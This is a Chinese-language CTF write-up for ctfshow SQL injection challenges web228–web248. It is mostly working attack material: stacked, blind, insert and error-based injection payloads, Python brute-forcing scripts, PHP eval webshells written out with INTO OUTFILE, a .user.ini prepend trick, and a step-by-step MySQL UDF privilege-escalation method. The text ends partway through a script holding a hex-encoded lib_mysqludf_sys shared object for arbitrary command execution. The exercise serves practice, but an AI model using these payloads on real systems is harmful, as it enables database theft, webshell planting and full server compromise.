可以直接用1';call getflag();来调用这个函数,不过这个所有字段里已经可以找到flag

【ctfshow】web篇-SQL注入 wp

web228

  • 和web226一样的做法,转十六进制
http://abd0d622-b6b8-48c7-98f3-9a49f3996b1b.challenge.ctf.show:8080/api/?username=user1';prepare gylq from 0x73656C656374202A2066726F6D2063746673685F6F775F666C616761736161;execute gylq; 

web229

  • 和上题一样,估计没招了
http://74ea40ed-fc20-471c-8d2e-05cbd44aadad.challenge.ctf.show:8080/api/?username=user1';prepare gylq from 0x73656C656374202A2066726F6D20666C6167;execute gylq; 

web230

  • 堆叠注入的精髓就是预处理和转十六进制么,和上题一样
http://bde7f4f9-1def-42cf-afee-da3025b6550a.challenge.ctf.show:8080/api/?username=user1';prepare gylq from 0x73656C656374202A2066726F6D20666C61676161626278;execute gylq; 

web231

  • 我看到第一眼,就想着写个脚本,看了别人wp发现不用写布尔脚本,但是我写了,所以就用脚本梭哈
# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/8/1 # blog: gylq.gitee.io import requests #import time  # def generateNum(num): #     res = 'true' #     if num == 1: #         return res #     else: #         for i in range(num-1): #             res += "+true" #         return res   url = "http://06b28180-71ea-4f89-a05a-7d6baaf18696.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = "" #password=1234567811&username=ctfshow' and if(substr(database(),1,1)='c',1,0)# #************************************************************************************************************************************************************* #--------查表 #sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()" #--------查字段 #sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flaga'" #--------查flag sql= "select group_concat(flagas) from flaga" #************************************************************************************************************************************************************* payload = "ctfshow' and if(substr(({}),{},1)='{}',1,0)#"   #计数 n = 0  for i in range(1, 666):     for j in str:         params = {             'username' : payload.format(sql,i,j),             'password' : "{}".format(i)         }         res = requests.post(url = url, data = params)         #print(res.text)         if r"u66f4u65b0u6210u529f" in res.text:             flag += j             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break  
  • 第二种方式,了解一下性质,学习学习。
 $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';"; 

他语句是这样,那我们拼接一下成

update ctfshow_user set pass = '1',username=database()# where username = '{$username}'; #后面就的被注释掉了 

就有这样的效果

【ctfshow】web篇-SQL注入 wp

这样不就任意语句执行了。

payload

username=ctfshow&password=1' ,username=database()# 

拿flag

username=ctfshow&password=1' ,username=(select group_concat(flagas) from flaga)# 
【ctfshow】web篇-SQL注入 wp

web232

  • 上把盲注脚本直接梭哈,只不过加了个给密码md5加密而已,并没有改变之前代码的性质,我代码跟用户名有关,所以不变
# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/8/1 # blog: gylq.gitee.io import requests #import time  # def generateNum(num): #     res = 'true' #     if num == 1: #         return res #     else: #         for i in range(num-1): #             res += "+true" #         return res   url = "http://258da519-591d-4f61-b9af-c91ccb7af34f.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = "" #password=1234567811&username=ctfshow' and if(substr(database(),1,1)='c',1,0)# #************************************************************************************************************************************************************* #--------查表 #sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()" #--------查字段 #sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flagaa'" #--------查flag sql= "select group_concat(flagass) from flagaa" #************************************************************************************************************************************************************* payload = "ctfshow' and if(substr(({}),{},1)='{}',1,0)#"   #计数 n = 0  for i in range(1, 666):     for j in str:         params = {             'username' : payload.format(sql,i,j),             'password' : "{}".format(i)         }         res = requests.post(url = url, data = params)         if r"u66f4u65b0u6210u529f" in res.text:             flag += j             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break  
【ctfshow】web篇-SQL注入 wp

注意,用了第一种方法的时候不要用第二种方法,容易打乱代码条件,同样的第二种方法也就是加了个括号paylaod

username=ctfshow&password=12'),username=(database())# 
【ctfshow】web篇-SQL注入 wp

web233

  • 发现连着三题都可以用第一个盲注脚本跑出来,继续梭哈
# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/8/1 # blog: gylq.gitee.io import requests #import time  # def generateNum(num): #     res = 'true' #     if num == 1: #         return res #     else: #         for i in range(num-1): #             res += "+true" #         return res   url = "http://8feb46d5-de26-4836-807f-3d7218bcb7ae.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = ""  #password=1234567811&username=ctfshow' and if(substr(database(),1,1)='c',1,0)# #************************************************************************************************************************************************************* #--------查表 #sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()" #--------查字段 #sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'" #--------查flag sql= "select group_concat(flagass233) from flag233333" #*************************************************************************************************************************************************************  payload = "ctfshow' and if(substr(({}),{},1)='{}',1,0)#"   #计数 n = 0  for i in range(1, 666):     for j in str:         params = {             'username' : payload.format(sql,i,j),             'password' : "{}".format(i)         }         res = requests.post(url = url, data = params)         if r"u66f4u65b0u6210u529f" in res.text:             flag += j             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break  

web234

  • 脚本跑不动了,过滤了单引号,这题考的是实现单引号逃逸
原来的语句 update ctfshow_user set pass =  '{$password}' where username = '{$username}'; 加上逃逸单引号 update ctfshow_user set pass =  '' where username = '{$username}'; pass里面的内容则变成' where username =  username里面的值我们可以随意控制 

查表payload

username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&password= 
【ctfshow】web篇-SQL注入 wp

查字段payload

username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666C6167323361)#&password= 

flag

username=,username=(select group_concat(flagass23s3) from flag23a)#&password= 

web235

  • 这题过滤了information,ban了or和’,我们只能去找mysql里面的可以查表的表mysql.innodb_table_stats但是发现找不到其他里面包含字段的表了。所以只能想到无列名注入

可以参考一下

概述MySQL统计信息
CTF|mysql之无列名注入

查表

username=,username=(select group_concat(table_name) from mysql.innodb_table_stats )#&password= 

payload查flag

username=,username=(select `2` from (select 1,2,3 union select * from flag23a1)a limit 1,1) #&password= 
【ctfshow】web篇-SQL注入 wp

web236

  • 他多过滤了一个flag,一样可以用上一个payload
username=,username=(select `2` from (select 1,2,3 union select * from flaga)a limit 1,1) #&password= 

我感觉没过滤,如果真过滤了,也可以base64转过去

username=,username=(select to_base64(`2`) from (select 1,2,3 union select * from flaga)a limit 1,1) #&password= 

web237

  • 经典insert注入

查表

password=gylq&username=gylqtest',(select group_concat(table_name) from information_schema.tables where table_schema=database()));# 

查字段

password=gylq&username=gylqtest',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'));# 

查flag

password=gylq&username=gylqtest',(select flagass23s3 from flag));# 

web238

  • 过滤了空格,用括号

查表

password=gylq&username=gylqtest',(select(group_concat(`table_name`))from(information_schema.tables)where`table_schema`=database()))# 

查字段

password=gylq&username=gylqtest',(select(group_concat(`column_name`))from(information_schema.columns)where`table_schema`=database()and`table_name`='flagb'))# 

查flag

password=gylq&username=gylqtest',(select(flag)from(flagb)))# 

web239

  • 过滤了information,空格

查表

password=gylq&username=gylqtest',(select(group_concat(table_name))from(mysql.innodb_table_stats)))# 

拼不出来flag,无列名我无能为力

查flag,猜弱flag名称

username=1',(select`flag`from`flagbb`));#&password=1 

web240

  • 这题明显是让我们写个爆破py,安排啊
Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写 
# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/8/1 # blog: gylq.gitee.io import requests  url="http://108f39e9-3737-4b40-9285-4441a3360741.challenge.ctf.show:8080/api/insert.php" flag="flag" str="ab" payload="gylq',(select(group_concat(flag))from({})))#"  for a in str:     for b in str:         for c in str:             for d in str:                 for e in str:                     random=flag+a+b+c+d+e                     data = {                         'username' : payload.format(random) ,                         'password' : "flag"                     }                     res = requests.post(url,data) 

跑一下就可以看到结果

【ctfshow】web篇-SQL注入 wp

web241

  • 一开始想快速了解直接写了个布尔盲注,想着有21条数据,直接写了个布尔盲注的代码,结果只能查出flag前几位,由于环境无法插入,所以只能查出表和字段,但是flag拿不全。

这是可以查表和字段的布尔盲注,不过可利用价值不高,只能查出flag一部分,可以学习,注意:这个代码无法查出结果

# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/8/1 # blog: gylq.gitee.io import requests #import time  # def generateNum(num): #     res = 'true' #     if num == 1: #         return res #     else: #         for i in range(num-1): #             res += "+true" #         return res   url = "http://6786d08e-8031-4544-aa67-f4b3028d2c8d.challenge.ctf.show:8080/api/delete.php" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = ""  #************************************************************************************************************************************************************* #--------查表 #sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()" #--------查字段 #sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'" #--------查flag #sql= "select flagasabc from ctfshow_flagas" #************************************************************************************************************************************************************* payload = "{} and  if(substr((select group_concat(flag) from flag),{},1)='{}',1,0)"   #计数 n = 0  for i in range(20, 44):     k=i-19     for j in str:         params = {             'id' : payload.format(k,i,j)         }         res = requests.post(url = url, data = params)         if r"u5220u9664u6210u529f" in res.text:             flag += j             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break 

实际去环境试了下

delete from users where id=sleep(0.20) 这样是可以达到延时 

所以这题应该是时间盲注。好了直接上脚本

# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/8/1 # blog: gylq.gitee.io import requests import time  # def generateNum(num): #     res = 'true' #     if num == 1: #         return res #     else: #         for i in range(num-1): #             res += "+true" #         return res   url = "http://f0b20d14-9c8f-49ed-8808-2ebc4115c907.challenge.ctf.show:8080/api/delete.php"  str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"  flag = ""  #************************************************************************************************************************************************************* #--------查库名 #sql="database()" #--------查表 #sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()" #--------查字段 #sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'" #--------查flag sql= "select flag from flag" #************************************************************************************************************************************************************* payload = "if(substr(({}),{},1)='{}',sleep(0.1),0)"   #计数 n = 0  for i in range(1,666):     for j in str:         data = {             'id' : payload.format(sql,i,j)         }         start = time.time()         res = requests.post(url = url, data = data)         end = time.time()         if end-start > 2 and end-start < 3:             flag += j             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break 
【ctfshow】web篇-SQL注入 wp

web242

  • 到了file模块了,首先我们先了解一下关于file的形式,做这题前,先了解一些预备知识

我们到本地进行测试一下file的功能

首先第一个我们了解一下字段分隔符

FIELDS TERMINATED BY‘,‘字段间分割符 OPTIONALLY ENCLOSED BY‘"‘将字段包围 对数值型无效--未测试 

利用字段分隔符在本地写一句话木马

【ctfshow】web篇-SQL注入 wp

可以发现很好的写入成功

【ctfshow】web篇-SQL注入 wp

我们再学习一个将每一条记录使用换行符

LINES TERMINATED BY‘n‘ 换行符 
select * from users into outfile "D:/phpstudy8/WWW/dump/1.txt" LINES TERMINATED BY '<?php eval(REQUEST[1]);?>' 

明显将一句话木马写入

【ctfshow】web篇-SQL注入 wp

我们看一下题目

  //备份表   $sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';"; 

这题明显就有两种做法,我们用分隔符做

payload

filename=7.php' FIELDS TERMINATED BY '<?php eval($_REQUEST[1]);?> ' # 
【ctfshow】web篇-SQL注入 wp

这题我眼瞎,找flag半天,没发现flag在根目录,结果以为在数据库里面,因为权限不够,我在dump目录下写了个数据库连接以及查询的语句

<?php   error_reporting(0); require_once "config.php"; $ua = $_SERVER['HTTP_USER_AGENT'];  $filename = $_POST['filename'];  $num = 1; $ret = array( 	"code"=>0, 	"msg"=>"导出失败", 	"count"=>$num, 	"data"=>array() );   if(isset($filename)){  	$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname); 	if(mysqli_connect_errno()){ 	 	die(json_encode(array(mysqli_connect_error()))); 	} 	$conn->query("set name $charName");  	$sql = "select * from ctfshow_user where username={$filename};"; 	$conn->query("set name $charName"); 	$result = $conn->query($sql);     while ($row = mysqli_fetch_array($result)){           echo "u:".$row['username'];         echo "p:".$row['pass'];     } 	if(mysqli_affected_rows($conn)){ 		$ret['msg']="导出{$filename}成功"; 	}else{ 		$ret['msg']="导出{$filename}失败"; 	} 	mysqli_close($conn);	 }  echo json_encode($ret); 

然后利用自己写的一个盲注脚本跑了整个数据库,没找到脚本,最后才发现在根目录,脚本上来

# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/8/1 # blog: gylq.gitee.io import requests #import time  # def generateNum(num): #     res = 'true' #     if num == 1: #         return res #     else: #         for i in range(num-1): #             res += "+true" #         return res   url = "http://9c4ff2fb-3479-4628-be92-f7dff3560001.challenge.ctf.show:8080/dump/dump.php" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = ""  #password=1234567811&username=ctfshow' and if(substr(database(),1,1)='c',1,0)# #************************************************************************************************************************************************************* #--------查表 sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()" #--------查字段 #sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'" #--------查flag #sql= "select group_concat(flagass233) from flag233333" #*************************************************************************************************************************************************************  payload = "'ctfshow' and if(substr(({}),{},1)='{}',1,0)"   #计数 n = 0  for i in range(1, 666):     for j in str:         params = {             'filename' : payload.format(sql,i,j),         }         res = requests.post(url = url, data = params)         if "u:ctfshowp" in res.text:             flag += j             n += 1             print('[*] 开始盲注第{}位'.format(n))             print(flag)             if j == "}":                 print('[*] flag is {}'.format(flag))                 exit()             break  

简简单单的找flag,我搞成了代码审计。这两个代码仅供娱乐。只能扒光数据库,但是找不到flag。注意:flag在根目录o(╥﹏╥)o

web243

  • 过滤了php,这时候我们想到了用户自定义.user.ini函数,刚刚好他这个dump目录下有一个Index.php文件,所以我们可以直接梭哈
0x0A3C3F706870206576616C28245F524551554553545B315D293B3F3E0A ==> nauto_prepend_file=gylq.jpg 

首先上传一个图片文件

filename=gylq.jpg' LINES TERMINATED BY 0x0A3C3F706870206576616C28245F524551554553545B315D293B3F3E0A# 

在上传.user.ini文件

filename=.user.ini' LINES TERMINATED BY 0x0A6175746F5F70726570656E645F66696C653D67796C712E6A70670A# 

接着访问index.php

【ctfshow】web篇-SQL注入 wp

getshell拿flag

【ctfshow】web篇-SQL注入 wp

web244

  • 终于来到报错模块了
 //备份表   $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;"; 

经典报错注入拿表

http://8b891a41-b3c2-4892-96e2-88623f86dd70.challenge.ctf.show:8080/api/?id=1' or updatexml(1,concat(0x3d,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)%23 

拿字段

http://8b891a41-b3c2-4892-96e2-88623f86dd70.challenge.ctf.show:8080/api/?id=1' or updatexml(1,concat(0x3d,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flag')),1)%23 

拿flag

左半边flag ctfshow{5079b895-164f-4ea3-9e0e 右半边flag 5-164f-4ea3-9e0e-553ff35fee35} 删除重合的部分 ctfshow{5079b895-164f-4ea3-9e0e-553ff35fee35} 

web245

  • 过滤了update,可以积累一下报错注入的语句
1. floor + rand + group by select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); select * from user where id=1 and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));  2. ExtractValue select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));  3. UpdateXml select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));  4. Name_Const(>5.0.12) select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;  5. Join select * from(select * from mysql.user a join mysql.user b)c; select * from(select * from mysql.user a join mysql.user b using(Host))c; select * from(select * from mysql.user a join mysql.user b using(Host,User))c; 

拿表

http://0fbee15d-4936-43e7-a8f1-3f8e0f8e84c5.challenge.ctf.show:8080/api/?id=1' or extractvalue(1,concat(0x3d,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23 

拿字段

http://0fbee15d-4936-43e7-a8f1-3f8e0f8e84c5.challenge.ctf.show:8080/api/?id=1' or extractvalue(1,concat(0x3d,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagsa')))# 

拿flag

前部分 ctfshow{b2cc23cb-316b-4cea-b9ea 语句 http://0fbee15d-4936-43e7-a8f1-3f8e0f8e84c5.challenge.ctf.show:8080/api/?id=1' or extractvalue(1,concat(0x3d,(select group_concat(flag1) from ctfshow_flagsa)))%23 后部分 a-b9ea-9807145c946a} 语句 http://0fbee15d-4936-43e7-a8f1-3f8e0f8e84c5.challenge.ctf.show:8080/api/?id=1' or extractvalue(1,concat(0x3d,(select right(group_concat(flag1),20) from ctfshow_flagsa)))%23 重复部分删除 ctfshow{b2cc23cb-316b-4cea-b9ea-9807145c946a} 

web246

  • 过滤多加了个extractvalue,换一个方法,用group by报错方法,不过group by报错方法有and联合,还有union联合两种方法,都展示一下

查字段

http://b8b5d561-57a2-477f-9c61-17caf1ce6094.challenge.ctf.show:8080/api/?id=1' and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_schema=database() and table_name='ctfshow_flags' limit 1,1),floor(rand(0)*2))) %23 

flag,没有长度限制

http://b8b5d561-57a2-477f-9c61-17caf1ce6094.challenge.ctf.show:8080/api/?id=1' and (select count(*) from information_schema.tables group by concat((select flag2 from ctfshow_flags limit 0,1),floor(rand(0)*2))) %23 

union报错查询查flag

http://b8b5d561-57a2-477f-9c61-17caf1ce6094.challenge.ctf.show:8080/api/?id=1' union select 1,count(*),concat((select flag2 from ctfshow_flags),floor(rand(0)*2)) a from information_schema.tables group by a %23 

web247

  • 过滤了向下取整floor,没过滤ceil向上取整
http://b89fec88-85a4-4e59-b9b2-d6c71204e161.challenge.ctf.show:8080/api/?id=1' and (select count(*) from information_schema.tables group by concat((select `flag?` from ctfshow_flagsa),ceil(rand(0)*2))) %23 

web248

  • 考点udf注入

一、什么是udf

udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。

udf 文件后缀一般为 dll,由C、C++编写

二、udf在渗透中的作用

在一般渗透过程中,拿下一台windows服务器的webshell时,由于webshell权限较低,有些操作无法进行,而此时本地恰好存在mysql数据库,那么udf可能就派上用场了;由于windows安装的mysql进程一般都拥有管理员权限,这就意味着用户自定义的函数也拥有管理员权限,我们也就拥有了执行管理员命令的权限,这时新建管理员用户等操作也就轻而易举了,大多数人称为这一操作为udf提权,其实表达不够准确,应该称为通过mysql获得管理员权限。

三、利用条件

利用udf的条件其实还是挺苛刻的

mysql用户权限问题

  • 获得一个数据库账号,拥有对MySQL的insert和delete权限。以root为佳。

  • 拥有将udf.dll写入相应目录的权限。

四、数据库版本问题

udf利用的其中一步,是要将我们的xxx.dll文件上传到mysql检索目录中,mysql各版本的检索目录有所不同:

版本 路径
MySQL < 5.0 导出路径随意;
5.0 <= MySQL< 5.1 需要导出至目标服务器的系统目录(如:c:/windows/system32/)
5.1 < MySQL 必须导出到MySQL安装目录下的libplugin文件夹下

一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)

五、本地利用过程

1、获取Mysql安装路径

select @basedir 

2、查看可操作路径

show global variables like "%secure%" 

secure_file_priv值为null,表示mysql不允许导入导出,此时我们只能通过别的方法将udf.dll写入安装路径

3、查看plugin目录路径

select @@plugin_dir 

4、将dll上传方式推荐几种

将dll上传到安装路径的方式:

通过webshell上传

以hex方式直接上传

sqlmap中现有的udf文件,分为32位和64位,一定要选择对版本,获取sqlmap的udf方式

5、sqlmap中udf获取方式

自动化注入工具Sqlmap已经集成了此功能。

在 sqlmapdataudfmysqlwindows64目录下存放着lib_mysqludf_sys.dll_

【ctfshow】web篇-SQL注入 wp
  • 但是sqlmap中自带的shell以及一些二进制文件,为了防止误杀都经过异或编码,不能直接使用

可以利用sqlmap 自带的解码工具cloak.py,在sqlmapextracloak中打开命令行,来对lib_mysqludf_sys.dll_进行解码在,然后在直接利用,输入下面的

cloak.py -d -i C:sqlmapdataudfmysqlwindows64lib_mysqludf_sys.dll_ 
【ctfshow】web篇-SQL注入 wp

接着就会在sqlmapdataudfmysqlwindows64目录下生成一个dll的文件lib_mysqludf_sys.dll,这个我们就可以直接拿来利用

攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。

函数:

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

以我windows系统为例,mysql版本为MySQL5.7.26

注意:攻击过程中,首先需要将lib_mysqludf_sys ( 目标为windows时,lib_mysqludf_sys.dll;linux时,lib_mysqludf_sys.so)上传到数据库能访问的路径下。

【ctfshow】web篇-SQL注入 wp
  • 直接将刚刚生成的64位windows的dll文件复制到D:phpstudy8ExtensionsMySQL5.7.26libplugin中,然后再mysql中执行以下语句
create function sys_eval returns string soname 'udf.dll' 
【ctfshow】web篇-SQL注入 wp
  • 然后就可以任意命令执行了

  • sys_eval,执行任意命令,并将输出返回。

    sys_exec,执行任意命令,并将退出码返回。

    sys_get,获取一个环境变量。

    sys_set,创建或修改一个环境变量。

select sys_eval('ipconfig') 
【ctfshow】web篇-SQL注入 wp

六、实战情况之一,hex编/解传入mysql系统提权

  • 本地利用的情况,你得已经上传webshell的情况下才能成功。如果你在sql实战中遇到可以使用outfile等上传文件的情况下,如何利用来系统权限命令执行。下面我们先熟悉一下本地测试一下具体情况

为了将这个转换为十六进制,可以借助mysql中的hex函数,先将udf.dll移动到C盘中,这样路径也清晰一些,然后执行下面命令

select hex(load_file('C:/udf.dll')) into dumpfile 'c:/udf.txt' 
【ctfshow】web篇-SQL注入 wp

成功生成了十六进制形式流

【ctfshow】web篇-SQL注入 wp

接下来就是把本地的udf16进制形式通过我们已经获得的webshell传到目标主机上。

一、新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。

create table udftmp (c BLOB) 

二、在udftmp中写入udf文件内容

INSERT INTO udftmp values(unhex('udf文件的16进制格式')) 

三、将udf文件内容传入新建的udf文件中,路径根据自己的@@plugin_dir修改 //对于mysql小于5.1的,导出目录为C:Windows或C:WindowsSystem32

select c from udftmp into dumpfile 'D:/phpstudy8/Extensions/MySQL5.7.26/lib/plugin/udf.dll' 

四、执行下面语句,就可以system权限下命令任意执行,这电脑就沦陷了,执行命令上面已经说过,就不复述了

create function sys_eval returns string soname 'udf.dll' 

五、删除痕迹,做好事不留名

DROP TABLE udftmp 
SELECT sys_eval('ipconfig'); 返回网卡信息 

本地实践了之后,基础知识差不多了解我们做一个实战靶场

题目代码

【ctfshow】web篇-SQL注入 wp
  $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;"; 
  • 测试了一下,明显存在堆叠注入,刚好可以利用堆叠注入,来进行udf来进行命令执行,测试,过滤information、and、or等各种语句无法布尔盲注、时间盲注、报错注入等
【ctfshow】web篇-SQL注入 wp

好了,废话不多说直接看一下@@plugin_dir的路径来命令执行

【ctfshow】web篇-SQL注入 wp
目录/usr/lib/mariadb/plugin/ 

对方是linux,当然写 一个脚本跑会快一些,我先手工实操一遍,之后就用脚本梭哈,首先根据我之前的方法生成64位linux的udf.so的十六进制形式

【ctfshow】web篇-SQL注入 wp

由于这是get传参,是有长度限制的,16081的超过限制,会直接被ban了,所以我分按6000长度分为了三个文本文件里面装了udf十六进制三个部分

【ctfshow】web篇-SQL注入 wp

接着我们将a、b、c三个中里面的十六进制导入到被攻击的机器中

select 'a部分十六进制' into dumpfile '/usr/lib/mariadb/plugin/a.txt' 
【ctfshow】web篇-SQL注入 wp

为了确认我们是否已经导入load_file来判断

select load_file('/usr/lib/mariadb/plugin/a.txt') 
【ctfshow】web篇-SQL注入 wp

明显导入成功,照葫芦画瓢,将剩下的b和c导入进去

【ctfshow】web篇-SQL注入 wp

当明显确定已经都导入成功了a、b、c三部分udf十六进制内容,接着来就是导入so到这个目录就可以命令执行

select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so' 
【ctfshow】web篇-SQL注入 wp

最后我们创建sys_eval这个函数来进行命令执行

create function sys_eval returns string soname 'udf.so' 

明显获得了命令执行的权限

【ctfshow】web篇-SQL注入 wp

我们可以看看ip配置

【ctfshow】web篇-SQL注入 wp

接着就拿这题的flag

【ctfshow】web篇-SQL注入 wp

但是这样就有点慢了,我写个脚本。很快的,大家可以参考一下

import requests  url="http://419e5714-21cb-4a29-82d4-cecf0bb82bf7.challenge.ctf.show:8080/api/" payload = "?id=1';select '{}' into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+" acquire = "?id=1';select load_file('/usr/lib/mariadb/plugin/{}.txt')--+" text = ['a','b','c','d']  udf="7F454C4602010100000000000000000003003E0001000000D00C0000000000004000000000000000E8180000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050E57464040000006412000000000000641200000000000064120000000000009C000000000000009C00000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002B0000001500000005000000280000001E000000000000000000000006000000000000000C00000000000000070000002A00000009000000210000000000000000000000270000000B0000002200000018000000240000000E00000000000000040000001D0000001600000000000000130000000000000000000000120000002300000010000000250000001A0000000F000000000000000000000000000000000000001B00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000A00000011000000000000000000000000000000000000000D0000002600000017000000000000000800000000000000000000000000000000000000000000001F0000001C0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119C4C93DA4400398046883140000001600000017000000190000001B0000001D0000002000000022000000000000002300000000000000240000002500000027000000290000002A00000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED871581CC1E2F7DEA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF36AC68AE3B9FD4A0AC73D1C525681B320B5911FEAB5FBE120000000000000000000000000000000000000000000000000000000003000900A00B0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000E0000000120000000000000000000000DE01000000000000790100001200000000000000000000007700000000000000BA0000001200000000000000000000003504000000000000F5000000120000000000000000000000C2010000000000009E010000120000000000000000000000D900000000000000FB000000120000000000000000000000050000000000000016000000220000000000000000000000FE00000000000000CF000000120000000000000000000000AD00000000000000880100001200000000000000000000008000000000000000AB010000120000000000000000000000250100000000000010010000120000000000000000000000DC00000000000000C7000000120000000000000000000000C200000000000000B5000000120000000000000000000000CC02000000000000ED000000120000000000000000000000E802000000000000E70000001200000000000000000000009B00000000000000C200000012000000000000000000000028000000000000008001000012000B007A100000000000006E000000000000007500000012000B00A70D00000000000001000000000000001000000012000C00781100000000000000000000000000003F01000012000B001A100000000000002D000000000000001F01000012000900A00B0000000000000000000000000000C30100001000F1FF881720000000000000000000000000009600000012000B00AB0D00000000000001000000000000007001000012000B0066100000000000001400000000000000CF0100001000F1FF981720000000000000000000000000005600000012000B00A50D00000000000001000000000000000201000012000B002E0F0000000000002900000000000000A301000012000B00F71000000000000041000000000000003900000012000B00A40D00000000000001000000000000003201000012000B00EA0F0000000000003000000000000000BC0100001000F1FF881720000000000000000000000000006500000012000B00A60D00000000000001000000000000002501000012000B00800F0000000000006A000000000000008500000012000B00A80D00000000000003000000000000001701000012000B00570F00000000000029000000000000005501000012000B0047100000000000001F00000000000000A900000012000B00AC0D0000000000009A000000000000008F01000012000B00E8100000000000000F00000000000000D700000012000B00460E000000000000E800000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F6765745F6465696E6974007379735F657865635F6465696E6974007379735F6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C00666F726B00737973636F6E66006D6D6170007374726E6370790077616974706964007379735F6576616C006D616C6C6F6300706F70656E007265616C6C6F630066676574730070636C6F7365007379735F6576616C5F696E697400737472637079007379735F657865635F696E6974007379735F7365745F696E6974007379735F6765745F696E6974006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F657865630073797374656D007379735F73657400736574656E76007379735F7365745F6465696E69740066726565007379735F67657400676574656E76006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100B20100001000000000000000751A690900000200D401000000000000801720000000000008000000000000008017200000000000D01620000000000006000000020000000000000000000000D81620000000000006000000030000000000000000000000E016200000000000060000000A0000000000000000000000001720000000000007000000040000000000000000000000081720000000000007000000050000000000